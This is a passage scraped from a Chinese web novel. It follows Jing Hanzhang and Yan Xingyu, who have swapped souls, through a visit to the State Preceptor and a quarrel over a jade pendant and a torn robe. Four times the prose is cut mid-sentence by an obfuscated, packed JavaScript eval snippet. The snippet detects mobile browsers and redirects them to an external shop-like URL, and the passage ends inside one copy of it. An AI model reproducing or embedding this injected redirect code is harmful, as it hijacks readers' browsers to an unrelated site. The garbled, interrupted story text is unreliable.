他沉默半天,才一言难尽道:“你到底是去养病的,还是去受罪的?” 再说了,他就是个瘫子,能做什么粗活? 晏行昱垂眸不语,看起来极其难过,还带着点隐秘的羞辱。 ——像是苦心隐藏许久的丢人的事,被逼迫着当众讲出来,脸上全是难堪。 赵伯听着,心疼得眼泪几乎都要落下来了。 荆寒章在心中冷笑,他根本不信这番说辞,本来打算继续质问,但瞧见晏行昱这个可怜模样,不知为何再多的话都问不出来了。 这个时候他才意识到,自己正坐在床沿,将那病弱的丞相公子压在榻上,强行和他十指相扣。 而晏行昱单薄的身子在微微发抖,衣衫凌乱,眼圈都泛着委屈的飞红,两人身形交叠着,荆寒章半束起的发因为倾身的动作垂落下来,和晏行昱的墨发交织,难解难分。 荆寒章:“……” 荆寒章立刻甩开手,像是碰到火炭似的飞快起身。 他耳根有些发红,匆匆留下一句:“你最好不要欺骗我,否则本殿下一定……一定不会放过你。” 说罢,重重一哼,转身离开。 他气势汹汹地来,却近乎狼狈地走。 晏行昱将大了许多的衣袍扯到肩上,安抚好眼泪不住往下流的赵伯,瞧着阿满关上房门,才将满脸喘不上气的虚弱之色收敛,疲惫地靠在软枕上。 阿满蹲在床边逗床底下不肯出来的猫,撇撇嘴,道:“京都人人都说七皇子是个疯子,现在看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727620|189528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来着实如此,公子您说他这次杀气腾腾过来,到底是来做什么的?” 晏行昱浑身紧绷,他太没有安全感,身上没了暗器总会不自觉地发抖。 阿满将床底下小巧的弩拿起来,晏行昱接过来绑在手臂上,这才制住身体的颤抖。 他轻轻吸了一口气,淡淡道:“不必管他。” 阿满很听晏行昱的话,“哦”了一声继续逗猫。 雪连下了两日,晏行昱的身体好了许多,也没有再出现魂魄互换的异状。 天晴后,晏行昱几乎将自己裹成一个球,乘着车辇前去了国师府。 国师神通广大,他想要问问看自己前几日到底为何会和荆寒章魂魄互换。 车辇平稳地到达了国师府,晏行昱从马车上下来,被阿满推着进去。 国师身份尊贵,国师府是皇帝御赐之地,方位风水极好。 当今圣上十分看重国师,更是将宫中惊蛰卫派来护卫国师,晏行昱一进去,就察觉到隐藏在国师府四周的气息。 他只装作不知,一路虚弱地咳到了国师府内院。 到了内院,那些隐藏的气息这才彻底消散,看来就算是圣上也不敢随意窥探国师私下的行为,应是怕冒犯了神佛。 国师正在院中卜卦,瞧见他过来,勾唇一笑。 国师名唤连尘,看着极其年轻,一身白色僧袍清净如莲。 内院中全是雪,似乎未被人清扫过,那纯白的衣摆落在雪上,仿佛他整个人都是冰雪筑成的。 新做好的轮椅在雪地上极其难走,但阿满却毫不费力,推着轮椅如履平地,将地上的雪轧出一道道深深的痕迹。 晏行昱上前,轻轻颔首,道:“师兄。” 国师眸子温和,笑着道:“小玉儿,今日我为你抽了签,卜了一卦。” 晏行昱无声叹了一口气,道:“师兄替我抽签,这样还能卜得准吗?” “准的。”国师将一根签朝他一晃,“是大凶之兆。” 晏行昱:“……” 国师连尘是在五年前入京的,两人多年未见,依然熟稔。 晏行昱几乎算是被国师一手带大,相比较晏戟,他和连尘反倒更加亲近。 国师将签重新放了回去,一旁的石桌上已煮好了茶,他撩着僧袍宽袖,拿起三个玉杯一一放在桌上。 晏行昱眉头一挑:“师兄,还有贵客要来吗?” 国师轻轻叹了一口气,只是柔声说:“行昱啊,你今日不该过来的。” 晏行昱一怔,道:“为何?” 话音刚落,身后突然多出一道陌生的气息,晏行昱还以为是皇帝的惊蛰卫,满脸漠然地回头,视线就被一抹红色糊住了。 一身红衣的荆寒章不知何时来的,一掌将轮椅后的阿满推开,似笑非笑地站在晏行昱背后。 晏行昱:“……” 荆寒章微微俯下身,抬手撑在轮椅扶手上,这个动作就像是从背后整个环抱住晏行昱似的,让他浑身一僵。 他凑在晏行昱耳畔,低笑着道:“因为今日我在。” 那低沉的嗓音让晏行昱听得几乎软了半边身体。 荆寒章又问:“而你呢?” 晏行昱心道不好,就听到荆寒章用一种轻飘飘的语气,像是在逗陷入险境中的小兽,淡淡道:“本殿下今日来询问国师魂魄互换之事,而你……” “晏行昱,”他笑了一声,故意问,“不会也是因为此事来的吧?嗯?” 晏行昱:“……” 7. 作茧 晏行昱极其冷静,除了瞳孔缩了缩,没有露出分毫端倪。 他笑了一声,偏头颔首一礼,道:“殿下说笑了,行昱不知您在说……” 他还没装完,荆寒章眸子闪现一抹寒意,一把抓住他的右手五指。 晏行昱:“……” 晏行昱险些回头给他一箭。 荆寒章似笑非笑地盯着他的瞳仁,手下动作不停,一点点探入那层层叠落的衣摆中,摸到了一把小巧冰冷的弩.箭。 这下,荆寒章似乎是个被人误解无数次终于寻到了证明自己清白的证据,心情前所未有地舒爽,他短促笑了一声,那声音响彻晏行昱耳畔,酥得要命。 荆寒章指腹轻轻抚摸着晏行昱手腕上凸起的骨头,漫不经心地敲了两下,凝视着晏行昱紧绷的下颌,淡淡道:“要我把你袖子掀开吗?” 晏行昱:“……” 晏行昱浑身僵直,突然偏头咳了一声,呼吸开始有些艰难。 “犯病啦?”荆寒章饶有兴致地看着他,空着的手弹了个响指,很快一个人挎了小药箱从门外疾步走来。 晏行昱一怔。 荆寒章恶劣一笑:“太巧了,我今日刚好带了太医过来。” 晏行昱:“……” 你还是人吗你? 周围一阵沉默。 晏行昱垂眸不知在想什么,荆寒章兴致勃勃地看着他,似乎在等着他继续装。 很快,晏行昱轻轻叹了一口气。 既然都被拆穿了,他索性也没有再遮掩,以免徒增笑话。 晏行昱将捂在心口的手放下,微微一挣动手,依然彬彬有礼:“殿下既然知晓我袖子里有什么还敢伸手去碰,难道就不怕有危险吗?” 荆寒章看他不装了,一股子疯劲直接上来。 他也不怒,反而勾唇笑了起来,眸子却极冷,手依然死死握住晏行昱的手:“怕什么?若我死在这里,你以为你和国师能逃脱得了干系?” 晏行昱嘴唇轻轻动了动,眉头也蹙了起来。 荆寒章极爱打猎,最爱看着猎物在他掌控下挣扎的模样,此时瞧见晏行昱似乎被他逼上了绝境,心头猛地窜起一股浓烈至极的愉悦感。 他很期待。 期待晏行昱能用什么手段来回击他。 若是就此妥协,荆寒章觉得这人也不过如此,根本不值得他多花费一息时间在一个无趣之人身上。 荆寒章正等待着晏行昱的反应。 下一瞬,那个无趣之人就轻轻一抬眼,眼眶微红,声音清越又带着些哀求的沙哑,灌了他满耳朵。 “殿下。”晏行昱小声乞求,“您弄疼我了。” 荆寒章:“……” 荆寒章:“??” 终于找回掌控权的荆寒章还没游刃有余片刻,就被晏行昱打回了原形。 他愕然看着晏行昱,似乎没料到他竟敢是这种路数。 被拆穿了就用苦肉计吗?! 荆寒章恶狠狠地想:“本殿下才不会再上当!” 他拉着晏行昱的手提高了些,恶声恶气道:“你还是不是个男人了,就这么点力道就喊疼?!我用力了吗?啊?哪里用力了?哪根手指你指出来给我看!” 晏行昱小声说:“可是真的很……” “不许喊疼!” 晏行昱:“……” 晏行昱只要垂下眸,不喊了。 只是他虽然嘴上不喊,但身子却在微微发着抖,被荆寒章握着的腕子更是抖得不能行,全身上下每一处都在说着“我疼”。 荆寒章:“……” 见他这个样子,荆寒章都要以为自己是个无恶不作的歹人了。 最后,荆寒章唯恐晏行昱把手腕上的箭给抖出弦了,猛地松开他的手,往后退了几步,动作几近狼狈。 “你……你!” 荆寒章在京都待了这么多年,所遇之人要么敬他要么怕他,就算是和他自小一起长大的江枫华也不敢在他面前这般放肆。 而这个刚从穷酸之地回来的丞相之子,竟敢对他这么放肆? 此人变脸如翻书,荆寒章竟然看不出他现在到底是在做戏还是真的疼。 荆寒章无能狂怒,想要拿对付不顺眼之人的那一套对晏行昱,但视线落在那单薄的小身板上,竟然有些下不去手。 如果他随便一掌拍过去,他还有命活吗? 晏行昱从善如流地缩回了手,将已经搭上弦的弩悄悄收了回去。 国师已经旁若无人饮好了半杯茶,看到两人对峙个没完,轻轻敲了敲石桌,淡淡道:“殿下,你们来我府上,就是来拌嘴吵架的吗?” 荆寒章:“……” 荆寒章怒道:“谁和他吵架?!” 国师光风霁月,波澜不惊,他将两个杯子斟满了茶,道:“喝口茶吧。” 荆寒章冷笑:“我不爱喝茶。” 晏行昱却没拂了师兄面子,让阿满推着轮椅到了石桌旁。 荆寒章见状眉头一皱。 他就算被怒火冲了心,却还记得今日他为何而来,见和他同遭遇的晏行昱一点着急都没有,他也不想落了下风,以免让人觉得他大惊小怪,被看笑话。 荆寒章冷着脸走到石桌旁,一撩衣摆,大刀阔斧地坐下,一敲石桌,吩咐道:“给我酒。” 国师道了声佛号,道:“殿下恕罪,出家人不饮酒。” 荆寒章翘着腿,撑着下颌冷笑一声:“你呢,晏行鹿,你也是出家人吗?” 被故意叫错名字晏行昱也不生气,抬手状似无意地撩开衣袖去拿茶杯,恰到好处地露出手腕上被荆寒章握住一圈的於痕。 荆寒章:“……” 荆寒章立刻闭嘴了,端着面前的茶杯一饮而尽,在心里不耐烦地嘀咕:“才握一下而已,怎么就这么娇?细皮嫩肉的,女人似的。” 荆寒章喝茶如饮水,一口就解决了,但晏行昱和国师如出一辙的慢条斯理,一口茶分三口抿,荆寒章都等得不耐烦了,他们才慢慢将杯子放下。 国师挥手,让奉茶的小沙弥和阿满退下,才问:“魂魄互换?怎么互换法,具体说说?” 荆寒章不耐道:“还能怎么互换,就是他变我,我变他了。” 晏行昱安静点头。 国师摆弄着签筒中的签,随口问:“只有一次吗?” 晏行昱:“是,维持了一晚上的时间。” 国师将签筒朝向晏行昱,晏行昱抽了一根签。 国师扫了一眼,依然是大凶之兆,他又把签筒朝向荆寒章,示意他抽一根。 荆寒章根本不信神佛,看都懒得看,正要不耐烦地拂开签筒,突然想起了那晚的异常。 这世间连魂魄互换之事都有,那神佛之事…… 荆寒章拧着眉头想了半天,才捏着鼻子不情不愿地抽了一根签。 国师接过来看了看,两根签分别都是大凶之兆,但放在一起解签,却看不出来吉凶。 国师陷入沉思。 晏行昱很有耐心,一直在那品茶,荆寒章却是等不及了,直接敲了敲桌子,眉头紧皱:“到底怎么样?是不是有人施了什么厌胜之术?” 晏行昱柔声提醒:“殿下,那个字念……” 荆寒章自小到大最讨厌别人纠正他的错字或错音,听到这句式立刻瞪了他一眼,低声道:“闭嘴,就你读书多见识广是吧,你这么厉害怎么不去国子监教书?” 晏行昱:“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727621|189528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏行昱看了看他有些微红的耳根,了然了。 哦,恼羞成怒了。 怪不得旁人都说七皇子不学无术,胸无点墨,看来传言不虚。 国师将签收好,淡淡道:“这有些难办啊,看卦象又瞧不出来什么。” 荆寒章回想起了被那苦药和黑猫支配的恐惧,闻言眉头紧皱:“难办?怎么能难办?” 若是国师都寻不出解决的法子,那天下之大还能有谁帮他们? 他可不想再一觉醒来跑到陌生人的身体里,被一个孩子按在榻上为所欲为灌那种苦药,连挣扎都没有力道。 还有…… 猫! 国师沉吟片刻,道:“要不这样吧,你们下次若是再魂魄互换,就速来国师府寻我,到时我再为你们看看。” 荆寒章险些炸了:“还要等下次?!” 晏行昱却很听话,乖顺地说:“好,多谢师兄。” 荆寒章:“……” 看到晏行昱这么古井无波,荆寒章差点开始反思自己是不是太大惊小怪了。 国师帮不了他们,荆寒章也懒得再留,怒气冲冲地甩袖走了。 直到前院没了动静,国师才走到晏行昱身边,垂眸看着他叹了一口气,道:“我之前就说过,你最好不要归京。” 晏行昱像是个犯错的孩子,羽睫垂下,轻轻拽着国师的袖子,喃喃道:“师兄,我只是不想……一辈子都被困在寺庙里。” 国师垂眸看着他的发顶:“惊蛰卫遍布京都,你的一举一动都在圣上掌控之中,前几日你的车辇当众失控,许是他……” 他还未说完,晏行昱就轻声道:“是我自己。” 国师一怔:“你?” “嗯。”晏行昱冷静地仿佛在说和他无关的事,“当日在宫中他就在试我的心疾,就算回宫路上我不出手,也会有人袭击我的车辇,试探我双腿是否是真的未愈。” 国师的眉头紧紧皱了起来:“你这种待自己也心狠的性子,迟早会作茧自缚。” 晏行昱却道:“我宁可死在自己手中,也不要被旁人掌控性命。” 国师看了他良久,才叹息一声,没再多说。 晏行昱身份特殊,不便在国师府多待,很快就离开。 出了国师府,晏行昱正要上车辇,就看到荆寒章不知何时正坐在车茵上,手中捏着个赶马的鞭子,百无聊赖地挥来挥去。 车夫站在一旁哆哆嗦嗦,完全不敢说话。 晏行昱:“……” 晏行昱只好躬身行礼,道:“天寒地冻,殿下怎么没有回宫?” 荆寒章哼笑:“怎么?我碍着你做戏了,巴不得我回去?” 晏行昱好脾气地说:“不敢,行昱只是忧心殿下身体。” 荆寒章见他装来装去就觉得心烦,他随手将鞭子一扔,从车茵上跳下来,姿态张狂地走到晏行昱面前,居高临下看着他。 晏行昱本能往椅背上靠,想要离他的强势逼迫远一些。 只是轮椅就这么点大,他逃也没地方逃。 晏行昱本就怕冷穿得多,身子往后缩更是缩得更圆更滚,连白净的小脸都埋到了大氅的领子中,看着极其可怜。 荆寒章饶有兴致地看着,看了一会不知怎么突然就乐了。 他脾气实在太过阴晴不定,晏行昱就算再善于察言观色,一时间也没弄明白他为什么笑。 刚才不是还在生气吗? 晏行昱狐疑地看着他。 荆寒章伸手将晏行昱的大氅往下拉了拉,露出他完整的一张脸,这才满意地收回手。 他挑起眉头,毫不客气地吩咐道:“走,带本殿下去你那破茅草屋看小鹿。” 晏行昱:“……” 8. 规矩 荆寒章太过强势,晏行昱没有办法,只好带着他回了相府。 晏戟不在,赵伯诚惶诚恐地出来接待贵客。 他瞧见七皇子双手环臂,饶有兴致地跟着晏行昱往偏院走,回想起前几日荆寒章将他家少爷按在榻上的场景,不知联想到了什么,神色更加惶恐了。 趁着荆寒章不注意,赵伯抖着手叫了个下人去寻晏戟。 下人忙不迭地跑了。 相府偏院有些难走,要穿过两个小花园和抄手游廊,阿满试探着看了看荆寒章,才做出吃力推轮椅的模样。 荆寒章似笑非笑,大概觉得好玩,偏头看着脸憋得通红的阿满,像是看戏似的。 阿满被看得如芒在背。 荆寒章故意问他:“难推吗?” 阿满怯怯看了他一眼,又看向他主子,眼底写满了“主子,我该难吗?” 晏行昱正在漫不经心地拨动佛珠,不知在想什么,并没有注意阿满的求救。 阿满只好保持弱小怯弱的模样,可怜兮兮地点点头:“有点。” 荆寒章突然就笑了,他问:“那本殿下帮你?” 阿满忙道:“不必劳烦殿下,路虽难走,但阿满……” 他拒绝的话戛然而止。 正在心不在焉想着国师话的晏行昱突然感觉到轮椅一停,那抹存在感极强的红影不知为何走到了自己面前。 晏行昱抬头,疑惑道:“殿下有何事……” 他话还没说完,荆寒章就俯下身将他一把从轮椅上抱起。 晏行昱:“……” 荆寒章抄着他腿弯打横抱在怀里,垂眸对上晏行昱隐隐有了怒气的眼睛,颇有种扳回一城的快感。 “公子。”荆寒章似笑非笑,“你可要管好手腕上的弩.箭,要是伤到了我,整个相府可都要遭罪了。” 晏行昱:“……” 晏行昱终于撕下了温文尔雅的伪装,漂亮的眼睛瞪着他,泪痣鲜红欲滴。 荆寒章对上他的眼睛,这才发现这小美人的眼底朱红泪痣竟是有两颗,只是下方那颗太小,针尖似的,不仔细看根本看不清楚。 荆寒章晃了一下神,才挑眉问:“你生气了?” 晏行昱在别人怀里窝着,十分没有安全感,但又唯恐这坏人把自己扔出去,所以就算再排斥也还是强迫自己伸手拽住荆寒章的衣襟。 晏行昱喘了几口气,才低声道:“我马上就生气。” 听到这话,荆寒章乐了,生气还要提前告知的吗? “马上是什么时候?”荆寒章故意问,“半刻钟后吗?要不要我找个莲漏给你算算时间?” 晏行昱:“……” 晏行昱拽着他衣襟的手猛地一紧。 下一瞬,荆寒章明显地听到他那上等料子的衣衫被撕碎的声音。 荆寒章:“……” 晏行昱:“……” 晏行昱连忙将拽着荆寒章衣襟的手给松开了,两人的视线落在那褶皱处,发现衣裳已经被生生撕开了一道口子。 荆寒章:“……” 他方才到底得气成什么样,才能用一只手就把衣服撕破了? 晏行昱顾不上生气了,讷讷道:“殿下恕罪,行昱……会赔您一件衣裳。” 荆寒章幽幽道:“我这衣裳的料子是御赐的,卖了你都赔不起。” 晏行昱浑身一僵。 荆寒章也没怎么生气,他成天不是在演武场就是在巡防营,衣服损坏是再正常不过的事,他只是想试探一下…… 荆寒章隐约记得魂魄互换的那晚,阿满兴致勃勃地捡了两枚铜钱来给他主子看,满脸守财奴的模样,两文前都能当个宝。 荆寒章很想知道,这丞相公子是不是真的爱财如命。 这一试,果真如此。 一说这料子贵重,晏行昱一声都不吭了,将半张脸埋在大氅领子里,恨不得当成无事发生过。 荆寒章挑眉:“晏行……” 他还没说完,晏行昱就怯怯地伸出手,在那拽出褶皱的衣襟上轻轻一抚,抚平到瞧不出那道口子后,他才继续垂下脑袋,闷头装死。 荆寒章:“……” 荆寒章凉凉地道:“藏起来我就瞧不见了?” 晏行昱讷讷说不出话。 此时阿满推着轮椅快步过来,大声道:“不、不劳烦殿下啦,这路虽然难走,但阿满还是能推动的,能的!” 他将轮椅推过来,满脸乞求地看着荆寒章,想让他把他家公子还回来。 荆寒章不乐意,他在晏行昱那吃瘪太多次,终于找到了能让这幽潭之水出现波纹的法子,自然不会轻易放过。 他理也不理阿满,抱着晏行昱大步往偏院走。 晏行昱还在闷头装死,妄图躲避赔钱。 等马上走到院门口了,荆寒章才古怪地看着他,道:“你一点都不觉得羞耻吗?” 晏行昱偷偷看了他一眼,见他似乎没打算再提赔银子的事,才小声开口:“您说什么?” “羞耻。”荆寒章不知道哪来的耐性,说,“但凡换个其他男人,被人这么横抱着走一路、下人看一路,早就发怒了。” 晏行昱愣了一下,才微微一垂眸。 荆寒章突然心底一咯噔,不知怎么有种不好的预感。 果然,下一瞬,就听晏行昱用一种软糯又近乎委屈的声音喃喃道:“我幼时双腿受伤,不良于行多年,早已习惯被人抱来抱去。” 荆寒章:“……” 荆寒章又开始觉得自己是坏人了。 他恨恨地闭上嘴,心想这晏行昱怎么就这么大能耐,明明知道他的话一分真九分假,但就是狠不下心来。 凭什么? 凭这张脸吗? 荆寒章气咻咻地一脚踢开了刚修好没多久的门,打算把晏行昱扔到房里捞起鹿就跑。 刚进院中,就听到一串鹿鸣声,荆寒章定睛一看,就瞧见他的小鹿正趴在院中吃草料,一只漆黑的猫懒洋洋地趴在它身上晒太阳。 一鹿一猫,相处极其和谐。 荆寒章:“……” 荆寒章面无表情,不着痕迹地往后退了半步。 那只小鹿已经脏了,他不要了。 晏行昱唤他:“殿下?” 荆寒章沉着脸问:“你哪来的癖好,养什么不好非要养猫?” 晏行昱回想起阿满所说魂魄互换时的异常,有些试探着问:“猫有什么不好吗?” 荆寒章冷冷道:“我讨厌猫,你难道不知道吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727622|189528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏行昱:“……” 这话说的……就有点不要脸了。 晏行昱才刚归京没多久,连爹娘都没见几面,怎么可能会知道只有几面之缘的陌生人的喜好? 晏行昱小声说:“黑猫……辟邪,还招财的。” 辟邪是次要,招财才是最重要的。 荆寒章的眼神比地上的积雪还要冷:“招什么财?” 话说出口,他才想起来晏行昱爱财的性子,当即冷笑一声,道:“我给你一百两,现在,立刻将那猫赶出去。” 若是下次再出意外魂魄互换,荆寒章可不想一睁眼就看到一只猫蹲在自己床头。 晏行昱:“……” 晏行昱了然,果然怕猫。 他小声说了句“成交”,吩咐阿满将猫抱走,荆寒章这才深吸一口气,抱着他进了房。 走着走着,荆寒章有点奇怪,他本是想用抱人来让晏行昱失态,但自己怎么好像变成了个人形轮椅,还自带暖炉的那种。 荆寒章越想越气,但又是他自己主动要求抱着人家的,不好迁怒,只能沉着脸抬步往前走。 一脚踢开房门,荆寒章大刀阔斧地走进房里,将晏行昱放在了软榻上。 晏行昱连忙撑着手坐稳,躬身要行礼:“多谢殿下。” “省了吧。”荆寒章也不客气,直接坐在一旁,哼笑着说,“你心里指不定都已经在骂我,私底下还是别做戏了,你不累我看着都累得慌。” 晏行昱愣了一下,才如实说:“我不会骂人。” 荆寒章不信。 晏行昱说:“但是我可以学。” 荆寒章:“???” 荆寒章眉头都要拧在一起了,看着晏行昱温顺地说可以学骂人的话,一时间竟然分不清他到底是认真的,还是单纯在呛自己。 晏行昱这话倒是没有作假,他学东西很快,这些年寺中藏书阁中的书全都倒背如流,之所以离开寒若寺归京,也和无书可读有些关系。 被困在一隅,不知天地浩瀚,终其一生碌碌无为。 晏行昱不想要这样的人生。 晏行昱见荆寒章坐得极稳,看起来好像没打算要走,只能试探着开口:“殿下已经瞧过小鹿了,还有其他事要吩咐吗?” 他已经是光明正大地下逐客令了,但荆寒章故意装作没听懂,翘着腿靠在椅子上,吩咐阿满给他拿酒,完全不拿自己当外人。 阿满讷讷道:“我们公子不喝酒。” 荆寒章挑眉:“所以呢?” 你们公子不喝酒和我要喝酒,有什么必然联系吗? 阿满:“……” 阿满只好跑出去问赵伯要。 晏行昱又适时提醒:“殿下。” “急什么?”荆寒章道,“看这天,八成等会要下雪。我们上次魂魄互换时就是个雪夜,今日刚好再试验一下。” 晏行昱一怔:“您要留宿相府?” 荆寒章点头,完全不拿自己当外人。 晏行昱提醒他:“殿下,这不合规矩。” 荆寒章嚣张跋扈,将腿往桌子上一翘,哐的一声。 “本殿下就是规矩。你说不合哪条规矩,指出来,我立刻让人去改。” 晏行昱:“……” 9. 爱财 晏行昱自然说不出来不合哪条规矩,只好勉为其难答应了。 很快,阿满拿来了酒,赵伯也跟着过来,听闻七殿下今日要留宿相府,吓得不轻,连忙让人收拾客房去了。 荆寒章自顾自喝了半杯酒,看到晏行昱坐在那心不在焉地拨动佛珠,珠子轻撞发出的声音让荆寒章听得牙疼,他蹙眉道:“晏行昱。” 晏行昱在出神,竟然没有反应。 荆寒章将酒杯一放,声音大了些:“晏行鹿!” 晏行昱这才猛地反应过来,迷茫地看着他:“殿下?” 荆寒章哼了一声,道:“当着我的面你竟然还发呆,在盘算什么呢?” 晏行昱看他一眼,又飞快将羽睫垂下,说:“行昱在想,殿下许我的一百两银子什么时候给。” 荆寒章:“……” 荆寒章都惊呆了,他愕然道:“一百两银子你都能想的这么出神?” 晏行昱没觉得问人要钱有什么羞耻的,他看着荆寒章,认真地点头:“殿下不是许给我了吗?” 既许了,那银子就是他的。 荆寒章自认经历过大风大浪,这些年也见过无数稀奇古怪的人,但从来没见过晏行昱这一挂的。 这也太……直白了点。 荆寒章古怪地看了他半天,才将腰封上的玉佩解下,随手抛过去,没好气道:“拿着,这玉佩足够抵一百两银子还有余了。” 晏行昱抬手一接,玉牌穗子绕着他的手指轻轻转了一圈落在掌心,他当着荆寒章的面仔仔细细地看了半天,才眸子一弯,说:“好,我这就让阿满去当铺换银子。” 荆寒章:“……” 荆寒章本来已经将玉佩送出去了,没想到此人连遮掩都不遮掩,当着他的面就要去把玉佩当了。 虽然说玉佩到了晏行昱手中就任由他处置,但这可是皇子的玉佩,他难道就不想珍藏下来吗? 他给的玉佩难道还比不过区区一百两银子有吸引力?! 荆寒章越想越气,直接起身迈着长腿走到晏行昱面前,伸手就要去夺晏行昱手中的玉佩。 晏行昱连忙往后一靠,将玉佩藏在背后,张大眼睛看着荆寒章,满眼都是难得的惊慌:“殿下、殿下做什么,这已是我的了。” 荆寒章在国师府拆穿他时都不见晏行昱这么慌张。 荆寒章瞪着他:“还给我,我直接给你银子。” 晏行昱有些犹豫:“可是您不是说,这玉佩远远不止一百两吗?” 生平第一次被坑的七殿下觉得匪夷所思:“你到底什么意思?!本殿下拿回自己的玉佩,难道还要多给你银子不成?” 晏行昱爱财不惜命,有些怯怯地点头。 荆寒章……荆寒章都要被他气笑了:“你堂堂丞相之子,至于连这点银子都要坑吗?!” 晏行昱再次将半张脸往大氅的衣领中缩,满身写着抗拒——和刚才要和他赔衣裳时逃避的样子一模一样。 荆寒章在京都之中无人敢惹,哪怕再纨绔的子弟到了他面前也是一派讨好谄媚之态,被捧得太高太久,荆寒章这还是第一次见到敢光明正大坑他银子的人。 只是他的第一反应竟然不是气得要喷火,反而有种啼笑皆非。 荆寒章心想,他怎么就这么大胆?难道自己的凶名已经没有威力了? 荆寒章盯着不断往大氅里缩的小美人,突然就来了脾气。 他直接抬手将大氅的衣带解开,晏行昱缩着缩着,衣领突然敞开,他立刻伸手要去捂脸,却被荆寒章一把扣住了手腕。 “躲什么躲?”荆寒章道,“躲到衣服里我就瞧不见你的脸了?” 晏行昱不肯和他对视,小声说了句什么。 荆寒章没听清,捏着他垂在肩上的一缕发拽了拽,不耐烦道:“什么?大点声。” 晏行昱说:“一百五十两,就还给殿下。” 荆寒章:“……” 荆寒章气乐了,捏着他的脸颊往旁边扯了扯,咬牙切齿道:“晏行昱,你怎么这么有能耐啊?嗯?半刻钟不到,倒手一回就赚了五十两,你坐地起价还真是有一套啊。” 晏行昱温顺地仰着头,任由他扯自己的脸,满眼都是“脸能扯,钱还是要给的”。 荆寒章见他这副爱财如命的样子,不知怎么的怒极反笑。 “一百五十两是吧?”荆寒章抬手揪起自己衣襟,让晏行昱看他破了口子的衣裳,“我这件衣裳的料子是御赐之物,换成银子怎么着也要几百两吧。” 晏行昱眼睛都睁大了,满脸写着“怎、么、可、能?” 荆寒章看到晏行昱完全没了之前的游刃有余,乐得不行,他终于知道了这小美人的软肋是什么了。 “这样吧,我也不多说。”荆寒章道,“就当这件衣裳两百两,抵掉你方才说的一百五十两,你还要倒给我五十两。” 晏行昱:“……” 荆寒章一伸手,似笑非笑地看着他:“公子,给吧。” 晏行昱呆呆看着他,突然抬起手捂向心口。 荆寒章眼疾手快,一把扣住他的手腕,制住他的动作,哼笑道:“别想装病,我不吃你这套了。” 晏行昱:“……” 晏行昱说不过他,只好忍着心疼将藏在身后的玉佩捏着穗子,闭着眼睛递给荆寒章,讷讷道:“还、还给殿下。” 荆寒章故意逗他:“不要一百五十两了?” 晏行昱勉强点头:“嗯。” 他一反常态,直接将玉佩往荆寒章手里塞,荆寒章不接还掰开五指使劲往里面怼,试图让荆寒章忘掉衣裳的赔偿。 荆寒章却不肯放过这个机会,接过玉佩后,又抬手亮了亮被撕出来的口子:“那我这衣裳……” 晏行昱不想赔钱,又不能再继续闷头逃避,只好轻轻吸了一口气,试探着开口道:“行昱会些针线活,若是殿下不嫌弃的话,那衣裳我能缝得完好如初。” 荆寒章挑眉:“你这双手,还会拿针?” 晏行昱点头,在寒若寺待久了,他什么都会些。 见他宁愿拿针缝衣裳也不愿给那五十两,荆寒章终于笑了起来,也没再继续为难:“行啊,今晚我就让人把衣裳送过来。” 晏行昱见他松口,也没有被当成绣娘使的羞耻,还甘之若饴地点点头:“是。” 这雪一直到了天黑也没下起来。 赵伯着急忙慌地寻了晏戟回来,谁知晏戟却根本不在意荆寒章留宿相府的事,只是吩咐了好好伺候,便回了书房,徒留赵伯一人干着急。 荆寒章也不把自己当外人,晚饭直接跟着晏行昱吃的。 赵伯唯恐怠慢了七殿下,送来了一桌子的菜,大鱼大肉中夹杂着几碟清淡至极的素菜。 荆寒章大刀阔斧地坐在主位,很不客气地拿起筷子吃起来。 晏行昱坐在他对面,慢吞吞地夹了一筷子素菜,慢条斯理地吃着。 荆寒章从来不在意用膳礼仪,但看着晏行昱吃着吃着,他突然感觉自己…… 好像有点糙哦。 荆寒章一言难尽地看着还在细嚼慢咽姿态优雅的晏行昱,故意挑衅道:“你在品茶还是在啃草?吃这么慢得吃到深更半夜才能吃饱吧。” 晏行昱饭量极小,才几口就差不多半饱,再加上一桌子荤腥的味道让他有点不适应,吃得更少了。 他摇摇头,不知在否认什么。 荆寒章见他还在啃草,直接夹了一块肉扔到他碗里。 晏行昱一怔,茫然看他。 荆寒章嫌弃地看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 